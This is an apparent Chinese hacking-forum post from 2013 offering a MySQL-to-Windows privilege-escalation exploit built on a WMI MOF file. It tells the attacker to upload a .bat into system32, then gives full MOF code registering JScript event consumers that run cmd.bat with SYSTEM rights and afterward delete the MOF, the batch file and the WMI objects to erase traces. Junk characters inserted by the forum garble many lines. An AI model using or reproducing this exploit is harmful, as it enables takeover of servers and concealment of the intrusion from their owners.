找回密码
 立即注册
查看: 2772|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
! p! F) [* A6 v( @需要将要运行的命令写入到bat上传到system32目录,然后执行。
# h  P0 t7 Y( Z- t$ d9 R: E" ^: Y9 s
这个sql提权MOF需要运行 system下的文件,不能定义路径。* Y3 ^) u$ P& Q$ ^) {" k
需要将要运行的命令写入到bat上传到system32目录,然后执行。0 a& B3 z, d9 Z* V+ G# X1 K) A
9 C- T  s# h3 U0 L7 R8 K9 p
#pragma
. o% `: Y4 J& ?  q. `- i# f                        namespace("\\\\.\\root\\cimv2"), d9 R7 y% X: S
                        class
: o- u* N) a7 m  m% U* i2 X                        MyClass547& T, @% A* l/ |, `) E2 c
                        {           [key]
, K# G9 s% g$ E6 x( k. ?. N; P                        string  i' Y. n) O5 w# E1 `  n5 r1 h$ g4 O
                        Name;
& y( _# d1 f5 u4 v$ p6 W& c                        };9 r1 L+ _+ ^$ F# @
                        class; ^2 ~# k# l: Y5 z1 m
                        ActiveScriptEventConsumer" B+ }# S( B0 Y& U. ~- M
                        : __EventConsumer {          [key]
8 X8 Z$ Y* ^8 l9 C                        string
/ Y# B6 h* \( K. r! Q2 N                        Name;           [not_null]
3 A+ a+ i& D0 p( k0 ~5 f9 E9 I3 C                        string
5 K: z. s5 g( S) O+ ~' j                        ScriptingEngine;           string1 ]+ l( U4 B, b/ p) T
                        ScriptFileName;           [template]! r# B5 D2 w. J" N2 [0 C
                        string2 }# y/ l" I. F( p9 T
                        ScriptText;         uint32 KillTimeout;. G* R3 t  r& p8 c3 C+ G" r
                        }; instance of __Win32Provider as $P {
: @. m# a; t& P! g. {5 I5 ]                        Name
" r. ]* m0 m5 }8 M. v                        =
& [+ [, m6 Q: z0 B; M7 F                        "ActiveScriptEventConsumer";     CLSID =
  W* ?5 O! x. O, D' _                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";; z: ?% Z6 {) l. R3 \
                        PerUserInitialization
& g' S6 @' U8 Q                        = TRUE;% ^# H6 i& l+ |" f
                        }; instance of __EventConsumerProviderRegistration {         Provider( Z, v/ ^2 N8 G2 y7 a, z
                        = $P;         ConsumerClassNames
3 `! |) a/ e+ g5 y                        =
) R$ Y% w+ X- E                        {"ActiveScriptEventConsumer"};  N4 @* i' O, ]
                        };% K5 V" h" s! ~' p; N! J4 K( j& W
                        Instance of ActiveScriptEventConsumer* B4 K& n% h6 a) k+ b
                        as $cons {         Name
( ?% P7 {. n) B4 T' H; ?, l                        =5 }3 O7 |2 a1 C. [9 Z
                        "ASEC";         ScriptingEngine
3 d9 u' ~) v* r6 v                        =
+ f/ D% @1 x9 u                        "JScript";         ScriptText
! }( O3 G4 I0 S5 T. M                        =
  C# q' u; e0 }$ ]4 b- |                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };& k/ b! n3 J$ W. Q
                        Instance of ActiveScriptEventConsumer
. L5 G6 S4 n: U3 e                        as $cons2 {         Name
) {* _2 c7 h- [! ]! H                        =: o1 l9 I' U# Z, h8 c# V
                        "qndASEC";         ScriptingEngine
) d2 q7 m& O6 {# S. T& K                        =
8 ~7 t/ H8 m; u- L                        "JScript";         ScriptText; m" }- n8 h6 M" ?; P. i6 S5 }
                        =0 N8 S) {3 w4 C+ w2 s9 Q. q5 C
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";: U7 {+ R3 V1 g* ^2 X6 U
                        }; instance of __EventFilter as $Filt {         Name
+ H/ x, S! L; m; V1 D! Y                        =4 n. w. J# e" W7 g# l
                        "instfilt";         Query
6 \# e/ R8 x- z9 e5 f                        =; s/ N! o% D/ m0 _* B
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage2 Z: b$ ^* `  {" Y% N  Q
                        =
3 i) g+ a7 N) @$ t  s6 L% Q( L                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name3 K; L! E5 R# |" Q! _# a, \
                        =
: S/ g: w# c: c( |                        "qndfilt";         Query7 x, R9 Q8 p6 N2 y2 w
                        =4 e) J; o# a) s3 _
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage+ T- W% S* i* Y
                        =
1 C. @  ?- }! p                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer' P! [  C1 ?' d! Y- U& Y$ U$ ^
                        = $cons;         Filter3 J3 ?9 F+ u& L( h( e
                        = $Filt;) F- I, h. Z# ]+ p" Q
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
3 o/ l: B# ~8 T5 A0 y1 B0 k/ L( ~* ~/ p                        = $cons2;         Filter
, S! c0 Z% I5 y+ y! O( y                        = $Filt2;
+ F+ h: T5 t) e6 l5 U, U                        }; instance of MyClass547
. V0 K3 }% l* M8 n! ]1 }: |                        as $MyClass {         Name
% j" Q, |, l# h2 N% `" W                        =
0 H& B9 X. O, p/ k                        "ClassConsumer";
* m, @0 v& t3 n4 \5 C/ c2 Z( L, r                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表